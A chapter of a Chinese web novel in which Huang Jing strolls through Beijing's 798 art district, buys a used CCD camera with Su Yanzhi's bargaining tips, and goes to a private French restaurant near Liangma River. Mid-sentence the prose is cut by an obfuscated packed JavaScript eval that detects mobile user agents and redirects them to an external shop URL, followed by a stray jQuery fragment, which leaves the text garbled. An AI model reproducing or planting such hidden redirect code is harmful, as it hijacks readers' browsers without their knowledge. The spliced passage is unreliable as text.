5月5日，黄晶原本打算在家歇一天。方棠昨天刚走，房间忽然空了下来，沙发上的毯子还留着被压过的褶皱，窗台上方棠留下的奶茶杯已经洗干净倒扣在桌上。
她睡到下午，醒来刷手机，大数据给她推荐望京的798艺术区，免预约，说是适合i人散步漫游，不仅有大大小小风格各异的免费展览，还有设计感十足的文艺小店，逛累了随便找家咖啡厅就能坐下来发呆。这正适合她这种既需要分散注意力、又不能消耗太多体力的人。
黄晶翻了几张游客拍的园区照片——红砖墙上爬着地锦，废弃的工业管道被涂成了明黄色，某条巷子的拐角立着一座两人高的不锈钢雕塑，是一只正在打哈欠的猫。又刷了几篇攻略帖子，她觉得反正今天也没什么事，不如出去走走散散心。
于是黄晶从床上坐起来，洗了把脸，换上浅紫色衬衫、牛仔裤小白鞋，扎了低马尾，背上那只仿佛能装下一切的斜挎包出了门。
798的午后比想象中更闲适。五一假期刚过，游客潮退了，偶尔有骑自行车的大爷慢悠悠穿过主干道，画廊门口坐着打盹的保安，几个美术生模样的人坐在路边对着红砖墙画速写，背着相机的文艺青年蹲在草坪上给一只流浪猫拍照，有人扛着长焦镜头站在树荫下拍夕阳穿过钢架的光斑，推着婴儿车的年轻父母闲聊慢逛……
黄晶漫无目的地晃进一个又一个展馆。有的是当代水墨，满墙黑白灰，她歪头看了半天，觉得画里的山像馒头；有的是装置艺术，一堆旧电视机叠在一起，屏幕里循环播放雪花点，她站在那儿看了一会儿，心想这和失眠时闭眼看到的东西差不多。
也有那种专门为拍照而生的网红展，满墙霓虹灯和塑料球池，她在门口探了个头就退出来了——人太多，还要排队。
之后又逛了两个免费展览，一个展的是当代陶艺，各种歪歪扭扭的陶罐摆在白色展台上，她盯着那只像被踩了一脚的陶罐看了好一会儿，心里想：这和我小时候捏的泥巴碗也差不多。
另一个展的是青年摄影师联展，黑白照片挂满整面墙，她在一张后海雨夜的夜景前站了很久。照片里湖面倒映着岸边的灯，雨丝把光晕扯成无数条细线，有个模糊的人影正撑着伞走过石桥，蛮有《盗墓笔记》里小哥的感觉的。
从展厅出来，黄晶被太阳晒得眯起眼，然后在路边一张树荫下的长椅上坐着休息。不远处一面涂鸦墙，墙上画着一只巨大的橘色狐狸，尾巴一直延伸到墙角，有个女孩正站在狐狸尾巴末端让男朋友拍照。黄晶看了会儿热闹，然后收回目光，掏出手机开始刷闲鱼。
她想要一台相机——本科时候就想要，但那些牌子的入门款也基本要两三千，太贵了。她想买个小点的，ccd那种最好，便于携带，扫街也方便。
闲鱼关键词搜索CCD、老数码、复古、小巧便携，翻了半天，相中一款佳能sx210is，六百块钱，卡片机，能塞进斜挎包里，成像效果看买家秀还行。但她不太懂二手相机行情，正逐字研究卖家描述里的“九成新”到底靠不靠谱。
苏衍之刚从其中一间画廊出来。他今天穿得很休闲——亚麻衬衫，袖口随意挽到手肘，看上去像是个来逛展的艺术品藏家。他独自一人，身边没有助理也没有随行者，正低头划着手机。
屏幕上是叶知秋刚发来的消息——昨晚五四青年节，她们的活动很成功，感谢苏衍之之前帮忙联络场地，改天请他吃饭。
苏衍之嘴角微扬，正准备回复，余光捕捉到一个浅紫色的身影正坐在长椅上，低着头念念有词。
他收起手机，脸上浮现出那个标志性的笑容——温和、无害、恰到好处，像是在任何偶遇场合中都能精准投放的社交名片。
苏衍之往前走了两步，语气随意得像在聊天气：“在研究什么？”
黄晶抬头，看到一个笑眯眯的男人——不熟，但好像见过。她在脑子里快速翻了一下脸盲症患者的通讯录，没翻到对应的名字，但这个人说话的语气好像认识她，于是她用一种“虽然不记得你是谁但先礼貌回应”的语气说：“相机。”
苏衍之看到她眼底那一闪而过的迷茫——那种努力检索但没检索到的空白。她完全不记得他了。他自我介绍：“苏衍之。上次云顶，我们吃过饭。”
黄晶想起来了。云顶那次她全程犯病，整个晚上像隔着一层毛玻璃看人，所有人的脸都是模糊的，但他的声音她有点印象——就是那个披着外套慢悠悠走进来说“姑娘进来吃饭”的人。她说：“哦，是你。”语气平淡，只陈述一个事实：她想起他是谁了。
苏衍之在她旁边的长椅上坐下来，“在看什么型号？”
黄晶把手机屏幕翻过来给他看，“这个，六百块，不知道划不划算?”
苏衍之接过手机，认真看了几秒，像在审一份投资报告。“这款ccd最近被炒得有点高，六百这个价要看快门数，最好问卖家。”
“怎么问？”
他教她：“就问‘快门数多少？镜头有没有霉点？电池续航怎么样？’”
黄晶照着他的话打过去，卖家回快门不到两千，镜头没霉，电池续航还行。她说：“还行是什么意思？”
苏衍之在旁边笑了，“还行就是不太行，砍到五百五吧。”
黄晶看了他一眼，“你还会砍价？”
“做生意的，都会砍价。我只是不砍小钱。”
“那你怎么知道这些？”
“之前一个朋友想收一台老款ccd，我帮她在二手平台上蹲了几天。那个卖家更不靠谱，快门数都快两万了还敢说九成新。”
黄晶瞪大了眼睛，“两万次快门还叫九成新？”
“对。所以后来直接托人从日本带了一台新的，省得被骗。”
“那你对她还挺好的。”
苏衍之笑了笑，“她对我也挺好的，上个月帮我拍了件装置，没加佣金。”
黄晶点点头，没有再问——这是别人的私事，她本能地知道不该多嘴。
卖家回消息说五百五可以，她正准备下单，苏衍之忽然问：“对了，晚上有个饭局，还是上次那些人，你来不来？”他语气随意。
黄晶从闲鱼页面抬起头，看了他一眼。想了想，然后开口：“在哪？”
苏衍之报了一个地址，是亮马桥附近一家不挂招牌的法餐厅，又说了时间，晚上七点。
黄晶听完，没有立刻回答。她低头看了一眼手机上的闲鱼页面——卖家还在等她的确认。然后抬起头，问了一句很实际的话：“远不远？”
“从798开车过去大概二十分钟，不远。”
她又问：“那吃完你送我回来？”
“有车，可以送。”
卖家刚发来的消息：五百五，包邮。她按下了确认下单，然后抬起头：“行。”她站起来，拍了拍裤子上的灰。
今晚的行程就这么定了——先买相机，再去蹭一顿免费的法餐。这两件事在她心里的优先级不分先后。
黄晶在798逛到了太阳偏西。
五月的傍晚来得慢，天光还亮着，园区里的游客已经开始陆陆续续往外走，换上了一拨刚下班过来看展的人。期间她逛了几家中古店，有一家专门收昭和时期的衬衫，印花大胆得让她想起方棠昨天穿的那件红色短袖。
之后又逛了一家店主审美超好的女装店，她看中了几款上衣但又不想换衣服试——试衣间排着队，脱了穿穿了脱，最后还要对着镜子左右打量。算了，下次吧。
杂货店卖的都是新奇小东西，什么陶瓷做的仙人掌盆栽、会发光的迷你地球仪、手绘的猫咪明信片，还有做成牙膏形状的润唇膏、戴贝雷帽的青蛙摆件、能折叠成巴掌大小的环保购物袋……每一样都古怪得可爱，但黄晶都是拍了照没有买。因为最后搬家会很麻烦，她早就过了什么都想往房间里搬的年纪，她对自己说，这些看看就好了。
涂鸦墙前挤满了摆姿势的游人，有人举着相机在等风把头发吹起来，有人指挥同伴“再往左一点再左一点”。空的背景很少，拍照的人站成一排等着轮流上墙。
黄晶懒得排队，站在旁边看了会儿，发现有个女生摆的姿势很有创意——假装要把墙上的涂鸦气球拽下来。她默默记下了这个动作，说不定以后能用上。
那些咖啡店装潢很好看——落地玻璃窗配着原木色桌椅，门口小黑板上用粉笔写着今日特调，有家店在窗台上养了一排薄荷，路过时能闻到若有若无的清凉味。
黄晶不喜欢喝咖啡，而且今晚法餐厅肯定有饮品，就不浪费这份钱了。她站在窗外拍了张照，把那些薄荷和黑板上的手写字一起收进取景框。
黄晶打卡完火车头广场——那辆老旧的蒸汽机车被改成了艺术装置，车身漆面斑驳，车轮上长了青苔，铁轨枕木间还开着不知名的小白花。她绕着火车头走了一圈，拍了几张照，然后往地铁站方向走。
园区真的太大了，每个角落都藏着让人想停下来多看两眼的东西，她今天只是挑了几个自己感兴趣的和标志性的去看了，到最后都累得走不动了。今日运动步数早已达标，再多走一步都算加班。
从14号线望京站出来转乘亮马桥方向时，黄晶头靠在挡板上，想着下次天气好的时候可以带着新买的ccd来拍照。旁边还有中国电影博物馆，能一并逛了。她把这些念头收进脑子里，和手账本上的待办事项放在一起，分类为“有空再说”。
到了亮马河附近，这是她第一次来这片区域，之前听都没听过。
出了地铁站，黄晶沿着导航走在路上，越走越觉得有意思：一边是那种开了几十年的老牌酒店——外墙石材泛黄，大堂还铺着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634940|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
九十年代的大理石，旋转门转起来吱吱响，门童戴着白手套站在一侧，西装笔挺得像是从九十年代港片里走出来的，外国住客拉着行李箱进进出出。
隔一条小马路就是玻璃上贴着粉纸、喇叭循环播放“包子豆浆小米粥”的早餐店，蒸笼里的包子冒着白气，穿着白背心的大爷蹲在路边剥蒜，脚边趴着一条正在打盹的土狗。
有时最割裂的发生在同一栋楼——底层是飘着葱油香的大众食堂，二楼却挂着标榜“新派融合菜”的法式小馆，英文招牌的霓虹灯管坏了一截，还在一闪一闪地挣扎。
黄晶站在路口等红绿灯。六点多的晚高峰，豪车与外卖电动车并排停着。保时捷的引擎在怠速中低低响着，电动车后座的外卖箱上贴着褪色的美团贴纸，骑手低头看手机，耳机线从领口里钻出来，前筐里还放着一杯奶茶。
黄晶看了一眼，觉得这画面挺有趣的——不管开什么车，都得等同一个红灯。
绿灯亮了，跑车和电动车同时起步，各奔各的方向。她跟着人群过了马路，拐进一条安静的背街，又走了几步，终于到了那家法餐厅。
灰砖墙，黑色铁门，门口连个灯箱都没有，只有一株老槐树斜斜探出墙头，树影里隐约能看到一块铜质铭牌，刻着餐厅的名字和一行小字：EST.2010。要不是导航说到了，她大概会直接走过。
黄晶推门进去，一个穿黑色马甲、打着领结的年轻侍者迎上来，站姿笔挺，双手交叠在身前，微微欠身，语气礼貌而克制，问了句：“女士您好，请问是有预约吗？”
黄晶想了想，说：“姓苏，苏衍之预定的。”
对方微微点头，接着问她的姓名，语气依然温和，但能听出这是流程里的必要环节。
“黄晶，黄瓜的黄，亮晶晶的晶。”
侍者在平板上快速点了两下，然后抬手示意休息区的方向：“好的黄女士，您这边先坐，稍等一下。”
侍者将她引至旁边的休息区落座。休息区的沙发是深墨绿色的丝绒面料，旁边小几上摆着一杯柠檬水和一朵单枝的白掌。
黄晶把手机插上充电宝，靠着沙发刷亮马河citywalk的推荐帖——河边有步道，晚上有灯光秀，某篇笔记说顺着河往东走能走到蓝色港湾，路边会经过好几座风格各异的桥。她想着下次可以傍晚来，下午逛798，傍晚来亮马河散步，刚好在同一条地铁线上。
或许是正值晚餐时间，断断续续来了好几波人，有单独来的，也有三三两两结伴的。其他侍者都是立即笑着迎上去，熟络地唤着“X先生”、“X女士”，有的还会问一句“还是上次那个位置？”，一看就是常客。
黄晶无意听了一耳，有的好像也是姓苏——大概是苏家的什么亲戚或生意伙伴，被侍者引着往包厢方向去了。
过了好一会儿，刚才那位年轻侍者快步走过来，微微一躬身，语气里带着一丝歉意：“黄女士，让您久等了。苏先生预定的包厢在二楼，请跟我来。”
他说着侧过身，伸出手臂做出一个标准的引导手势——手掌自然伸展，指尖并拢，四指指向方向，上臂与前臂呈完美的九十度夹角，从指尖到肩线流畅得像是用圆规画出来的。
转身的时机也刚好卡在黄晶站起来的瞬间，不快不慢，恰好留出一步半的距离。带路过程中他全程保持着侧身的角度，既不会让她看到自己的后背，也不会让她觉得被盯得太紧。步伐大小也刚好——每次她走两步，他就恰好迈出一步，速度不疾不徐，像被精确校准过的节拍器。
黄晶跟在他身后，看着这位和自己年纪相仿的年轻人丝滑得像吃了德芙的专业动作，内心只有一个朴素的疑问：他到底是怎么做到的？从用词、表情、步伐到手指的角度，每一项都恰到好处，既不会让人有距离感，又带着职业化的温度。
她想起自己当年考教资时练习的那些教学姿态，和这个比起来，她的“教态”只能算及格。台上一分钟，台下十年功，他们肯定经过无数次培训。但培训他们的人得多严格？他们自己在练习的时候会不会也紧张到顺拐？
到了二楼包厢门口，侍者停下脚步，侧身站定，抬手轻轻推开门，再次微微欠身，声音恰到好处地压低了半分：“到了黄女士，这就是苏先生预定的包厢。有任何需要，请随时联系我们。”
黄晶点了点头，“嗯”了一声，走进去。门在她身后无声地合拢，门锁咔嗒一声咬合，把走廊的灯光和若有若无的背景音乐一并隔绝在外。
包厢里已经有了好几个人。落地窗外亮马河的灯光正好亮起来，河面上倒映着岸边建筑的轮廓，窗户开了一小条缝，晚风从河面上吹进来，带着水腥气和初夏的微凉。烛光在长桌上跳了跳，有人抬头看向门口，有人继续说着未完的话……
黄晶站在门口，正对上某个人的目光。